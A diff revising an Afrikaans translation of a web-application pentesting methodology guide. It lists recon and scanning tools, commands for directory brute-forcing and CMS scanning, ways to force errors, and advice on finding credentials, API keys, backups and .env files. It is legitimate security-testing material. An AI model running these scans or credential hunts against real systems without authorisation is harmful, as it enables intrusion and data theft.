+Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **technologies** en/of **version** te **identify** wat gebruik word. **Nmap scan** kan die serverweergawe identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Soek **na** [**vulnerabilities of the web application version**](../../generic-hacking/search-exploits.md)
+Soek **na** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Kyk of daar enige WAF**
+### **Kyk of daar 'n WAF is**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Web tegniese truuks
+### Web tegnologie truuks
 
-Sommige **tricks** for **finding vulnerabilities** in verskillende bekende **technologies** wat gebruik word:
+Sommige **tricks** vir **finding vulnerabilities** in verskeie bekende **technologies** wat gebruik word:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -102,28 +102,27 @@ Sommige **tricks** for **finding vulnerabilities** in verskillende bekende **tec
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 - [**Sitecore**](sitecore/index.html)
 
-_Neem in ag dat die **same domain** verskillende **technologies** in verskillende **ports**, **folders** en **subdomains** kan gebruik._\
+_Ten einde in gedagte te hou dat dieselfde **domein** verskillende **technologies** op verskillende **poorte**, **gidse** en **subdomeine** kan gebruik._\
-As die web application enige bekende **tech/platform listed before** of **any other** gebruik, moenie vergeet om op die Internet te **search on the Internet** na nuwe tricks (en laat weet my!).
+As die webtoepassing enige bekende **tech/platform listed before** of **enigiets anders** gebruik, moenie vergeet om op die Internet na nuwe truuks te **search** (en laat my weet nie!).
 
-### Source Code Review
+### Bronkode hersiening
 
-As die **source code** van die toepassing op **github** beskikbaar is, benewens om deur **your own a White box test** van die toepassing te gaan, is daar **some information** wat nuttig kan wees vir die huidige **Black-Box testing**:
+As die **source code** van die toepassing op **github** beskikbaar is, behalwe om self 'n **White box test** van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**:
-
-- Is daar 'n **Change-log or Readme or Version** file of enigiets met **version info accessible** via web?
-- Hoe en waar word die **credentials** gestoor? Is daar enige (accessible?) **file** met credentials (usernames or passwords)?
-- Is dit **passwords** in **plain text**, **encrypted** of watter **hashing algorithm** word gebruik?
-- Gebruik dit enige **master key** vir die enkripsie van iets? Watter **algorithm** word gebruik?
-- Kan jy **access any of these files** deur 'n vulnerability uit te buit?
-- Is daar enige **interesting information in the github** (solved and not solved) **issues**? Of in die **commit history** (miskien is daar 'n **password introduced inside an old commit**)?
 
+- Is daar 'n **Change-log or Readme or Version** lêer of enigiets met **version info accessible** via die web?
+- Hoe en waar word die **credentials** gestoor? Is daar enige (toeganklike?) **file** met credentials (gebruikersname of wagwoorde)?
+- Is wagwoorde in **plain text**, **encrypted** of watter **hashing algorithm** word gebruik?
+- Gebruik dit enige **master key** om iets te enkripteer? Watter **algorithm** word gebruik?
+- Kan jy enige van hierdie **files** toegang kry deur 'n kwetsbaarheid uit te buit?
+- Is daar enige interessante inligting in die github (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien is daar 'n **password** wat in 'n ou commit ingestel is)?
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Outomatiese skanners
+### Automatic scanners
 
-#### Algemene doel outomatiese skanners
+#### Algemene doeleindes outomatiese skandeerders
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@@ -137,12 +136,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### CMS-skandeerders
 
-As 'n CMS gebruik word, moenie vergeet om 'n **skandeerder te laat loop** nie — miskien word iets interessant gevind:
+As 'n CMS gebruik word, moenie vergeet om **'n skandeerder uit te voer** nie — dalk word iets sappigs gevind:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir Security issues. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir Security kwessies. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **of** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
@@ -150,13 +149,13 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> Op hierdie stadium behoort jy reeds sekere inligting oor die webbediener te hê wat deur die kliënt gebruik word (indien enige data verskaf is) en 'n paar truuks om tydens die toets in gedagte te hou. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n scanner laat loop.
+> Op hierdie punt behoort jy reeds sekere inligting oor die webserver wat deur die kliënt gebruik word te hê (indien enige data gegee is) en 'n paar wenke om in gedagte te hou tydens die toets. As jy gelukkig is het jy selfs 'n CMS gevind en 'n scanner uitgevoer.
 
 ## Stap-vir-stap Webtoepassing-ontdekking
 
-> Vanaf hierdie punt gaan ons begin om met die webtoepassing te kommunikeer.
+> Vanaf hierdie punt gaan ons begin interakteer met die webtoepassing.
 
-### Aanvangskontroles
+### Aanvanklike kontroles
 
 **Standaard bladsye met interessante inligting:**
 
@@ -165,30 +164,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
+- Kontroleer ook kommentare op die hoof- en sekondêre bladsye.
 
 **Foute afdwing**
 
-Webbedieners kan **onverwagse gedrag** vertoon wanneer vreemde data aan hulle gestuur word. Dit kan **kwesbaarhede** oopmaak of **sensitiewe inligting openbaar**.
+Webservers kan **onverwag optree** wanneer vreemde data na hulle gestuur word. Dit kan **vulnerabilities** of die openbaarmaking van sensitiewe inligting oopmaak.
 
-- Gaan na **vals bladsye** soos /whatever_fake.php (.aspx,.html,.etc)
+- Toegang tot **fake pages** soos /whatever_fake.php (.aspx,.html,.etc)
-- **Voeg "\[]", "]]", en "\[["** in **cookie values** en **parameter values** in om foute te veroorsaak
+- **Add "\[]", "]]", and "\[["** in **cookie values** en **parameter** values om foute te skep
-- Genereer 'n fout deur invoer te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
+- Genereer 'n fout deur inset as **`/~randomthing/%s`** aan die **end** van die **URL** te gee
-- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of verkeerde soos FAKE
+- Probeer verskillende **HTTP Verbs** soos PATCH, DEBUG of verkeerde soos FAKE
 
-#### **Kontroleer of jy kan lêers oplaai (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-As jy vind dat **WebDav** geaktiveer is maar jy het nie genoeg toestemmings om **lêers in die root-gids** op te laai nie, probeer om:
+As jy vind dat **WebDav** **enabled** is maar jy het nie genoeg **permissions** vir **uploading files** in die root folder nie, probeer om:
 
 - **Brute Force** credentials
-- **Upload files** via WebDav na die **oorblywende** van die **gevonde gidse** binne die webblad. Jy mag toestemmings hê om lêers in ander gidse op te laai.
+- **Upload files** via WebDav na die res van die gevonde vouers binne die webblad. Jy mag **permissions** hê om lêers in ander vouers op te laai.
 
-### **SSL/TLS kwesbaarhede**
+### **SSL/TLS vulnerabilites**
 
-- As die toepassing **nie die gebruiker in enige deel dwing om HTTPS te gebruik** nie, is dit **kwesbaar vir MitM**
+- As die toepassing **isn't forcing the user of HTTPS** in enige deel, dan is dit **vulnerable to MitM**
-- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**, is dit 'n hoë kwesbaarheid.
+- As die toepassing **is sending sensitive data (passwords) using HTTP**. Dan is dit 'n hoë vulnerability.
 
-Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om na **kwesbaarhede** te kyk (in Bug Bounty-programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die kwesbaarhede te herkontroleer:
+Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om vir **vulnerabilities** te kontroleer (in Bug Bounty-programme sal hierdie tipe vulnerabilities waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die vulnerabilities weer te kontroleer:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -197,60 +196,60 @@ Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om na **kwesbaa
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Inligting oor SSL/TLS-kwesbaarhede:
+Information about SSL/TLS vulnerabilities:
 
 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 
 ### Spidering
 
-Begin 'n soort **spider** op die web. Die doel van die **spider** is om **soveel paadjies as moontlik te vind** vanaf die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paadjies as moontlik te ontdek.
+Start 'n soort **spider** binne die webtoepassing. Die doel van die spider is om **soveel paaie as moontlik te vind** van die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com).
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS files en Archive.org as eksterne bron.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Soek ook in Archive.org.
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host ophaal en die response stoor.
+- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie tool is nie 'n spider nie maar kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke pad op elke host haal en die response stoor.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit ononderhou is; die vooraf-gekompileerde weergawe is oud en die huidige kode kompileer nie.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou; die vooraf-gekompileerde weergawe is oud en die huidige kode kompileer nie.
-- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
+- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl)
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URLs met parameters vind en dit lys.
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameter vind en dit lys.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS rendering vermoëns.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paadjies in JS-lêers kan soek. Dit is ook die moeite werd om [JSScanner](https://github.com/dark-warlord14/JSScanner), wat 'n wrapper van LinkFinder is, te bekyk.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML-bron en ingesluit javascript-lêers. Nuttig vir bug hunters, red teamers, infosec ninjas.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints in beide HTML source en ingebedde javascript files te onttrek. Nuttig vir bug hunters, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URLs uit JavaScript-lêers te parse. Nuttig om AJAX-aanvraag maklik te ontdek. Lyk ononderhou.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript files te parse. Nuttig om AJAX requests maklik te ontdek. Lyk ononderhou.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URLs onttrek met 'n netjiese regular expression om relatiewe URLs uit verrommelde (minified) lêers te kry.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n file (HTML) sal dit URL's daaruit onttrek met 'n netjiese regular expression om relatiewe URL's uit verkorte (minify) files te kry.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie tools): Versamel interessante inligting uit JS-lêers deur verskeie tools te gebruik.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Versamel interessante inligting uit JS files deur verskeie tools te gebruik.
-- [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
+- [**subjs**](https://github.com/lc/subjs) (go): Vind JS files.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gelaai word om die bladsy te laai.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gebruik word om die bladsy te laai.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools meng.
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om paths en params in JS-lêers te vind.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om path en params in JS files te vind.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat, gegee die .js.map URL, die beautified JS-kode sal kry.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n tool wat gegewe die .js.map URL die beautified JS kode kry.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie tool word gebruik om endpoints vir 'n gegewe doelwit te ontdek.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie is 'n tool wat gebruik word om endpoints vir 'n gegewe target te ontdek.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links uit die wayback machine (laai ook die responses in die wayback af en soek meer links).
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links vanaf die wayback machine (laai ook die responses in die wayback af en soek vir meer links).
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur vorms in te vul) en vind ook sensitiewe inligting gebruikende spesifieke regexes.
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur forms in te vul) en vind ook sensitiewe inligting deur spesifieke regexes.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir cyber security professionele.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir kuberveiligheidsprofessionals.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 'n Go pakket en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URLs, paths, secrets en ander interessante data uit JavaScript-bronkode te onttrek.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets, en ander interessante data uit JavaScript bronkode.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **paramters en endpoints** uit die requests te onttrek om 'n custom wordlist vir fuzzing en enumerasie te skep.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **die parameters en endpoints te onttrek** uit requests om custom wordlist vir fuzzing en enumerasie te skep.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool hiervoor.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke link wat dit kan vind.
 
 ### Brute Force directories and files
 
-Begin met **brute-forcing** vanaf die root-gids en maak seker om **al** die **gevonde directories** te brute-force met **dié metode** en alle directories wat deur die **Spidering** ontdek is (jy kan dit **rekursief** doen en aan die begin van die gebruikte wordlist die name van die gevonde directories toevoeg).\
+Begin met **brute-forcing** vanaf die root vouer en maak seker om **alle** die **directories wat gevind word** te brute-force deur **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit rekursief brute-forceer en by die begin van die gebruikte wordlist die name van die gevonde directories bysit).\
 Tools:
 
-- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Ondersteun self-getekende sertifikate en rekursiewe soektog. Baie stadiger vergeleke met die ander opsies.
+- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **traag**) maar funksioneel. Laat self-gesertifiseerde sertifikate toe en rekursiewe soektog. Te stadig vergeleke met die ander opsies.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-getekende sertifikate toe nie maar** ondersteun rekursiewe soektog.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-gesertifiseerde sertifikate toe nie maar** laat rekursiewe soektog toe.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Ondersteun self-getekende sertifikate, dit het egter **nie** 'n **rekursiewe** soektog nie.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit laat self-gesertifiseerde sertifikate toe, dit **het nie** **rekursiewe** soektog nie.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinnig, ondersteun rekursiewe soektog.**
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinnig: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n hulpmiddel wat, gegee die lys van gevonde URLs, "gedupliseerde" URLs sal verwyder.
+- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n tool wat gegewe 'n lys van gevonde URLs "gedupliseerde" URLs sal verwyder.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys van directories te skep vanaf die burp history van verskeie bladsye.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys directories te skep vanaf die burp history van verskeie bladsye.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URLs met gedupliseerde funksionaliteite (gebaseer op js imports).
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksionaliteite (gebaseer op js imports).
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Gebruik wapalyzer om gebruikte tegnologieë te ontdek en kies die woordlyste om te gebruik.
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detect en kies die wordlists om te gebruik.
 
-**Aanbevole woordlyste:**
+**Aanbevole woordeboeke:**
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -269,41 +268,41 @@ Tools:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-Let wel dat elke keer as 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit weer Brute-Forced moet word.
+_Let daarop dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit Brute-Forced moet word._
 
-### Wat om op elke gevonde lêer te kontroleer
+### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat vatbaar kan wees vir takeovers.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke links binne HTML's wat vatbaar kan wees vir takeovers.
-- **File Backups**: Sodra jy al die lêers gevind het, soek vir rugsteunweergawes van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
+- **File Backups**: Sodra jy al die files gevind het, soek na backups van alle uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n backup is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
-- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. Indien moontlik, probeer om versteekte parameters op elke uitvoerbare web-lêer te soek.**
+- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verstekte parameters te ontdek. Indien moontlik, kan jy probeer om verstekte parameters op elke uitvoerbare web file te soek.**
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Kontroleer die comments van al die lêers; jy kan **credentials** of **versteekte funksionaliteit** vind.
+- **Comments:** Kontroleer die comments van alle files; jy kan **credentials** of **hidden functionality** daar vind.
-- As jy 'n **CTF** speel, is 'n "algemene" truuk om **inligting** in comments regs op die **bladsy** te **versteek** (deur honderde spasies te gebruik sodat jy die data nie sien as jy die bronkode in die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie reëls op te neem en inligting in 'n comment onder aan die webblad te versteek.
+- As jy in 'n **CTF** speel, is 'n "gewone" truuk om **inligting** in comments regs van die **bladsy** te **versteek** (deur **honderde** spasies te gebruik sodat jy die data nie sien as jy die source met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n comment aan die **onderkant** van die webblad te verstop.
-- **API keys**: As jy enige API key vind, is daar 'n gids wat aandui hoe om API keys van verskeie platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- **API keys**: As jy enige API key vind is daar 'n gids wat aandui hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: As jy 'n API key vind wat soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik lyk, kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kontroleer watter apis die sleutel kan toegang gee.
+- Google API keys: As jy 'n API key vind wat soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik lyk kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter apis die sleutel kan toegang gee.
-- **S3 Buckets**: Terwyl jy spidering doen, kyk of enige subdomain of enige skakel met 'n S3 bucket verband hou. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html).
+- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomain** of enige **link** verband hou met 'n **S3 bucket**. In daardie geval, [**check** the **permissions** of the bucket](buckets/index.html).
 
-### Spesiale vondste
+### Special findings
 
-**Terwyl** jy die **spidering** en **brute-forcing** doen, kan jy **interessante** **items** vind wat jy moet **notuleer**.
+**Terwyl** jy die **spidering** en **brute-forcing** uitvoer, kan jy **interessante** **vindings** kom wat jy moet **aanteken**.
 
 **Interessante lêers**
 
-- Kyk vir **links** na ander lêers binne die **CSS**-lêers.
+- Kyk vir **links** na ander files binne die **CSS** files.
-- [As jy 'n _**.git**_ lêer vind, kan sekere inligting onttrek word](git.md)
+- [If you find a _**.git**_ file some information can be extracted](git.md)
-- As jy 'n _**.env**_ vind, kan inligting soos api sleutels, db wagwoorde en ander inligting gevind word.
+- As jy 'n _**.env**_ vind kan inligting soos api keys, dbs passwords en ander data gevind word.
-- As jy **API endpoints** vind, behoort jy [dit ook te toets](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos lêers lyk.
+- As jy **API endpoints** vind, [should also test them](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik "soos" lêers lyk.
-- **JS files**: In die spidering-afdeling is verskeie tools genoem wat paadjies uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is te monitor**, aangesien 'n verandering soms aandui dat 'n potensiële kwesbaarheid in die kode ingebring is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
+- **JS files**: In die spidering afdeling is verskeie tools genoem wat paths uit JS files kan onttrek. Dit sal ook interessant wees om **elke JS file gevind te monitor**, aangesien in sekere gevalle 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
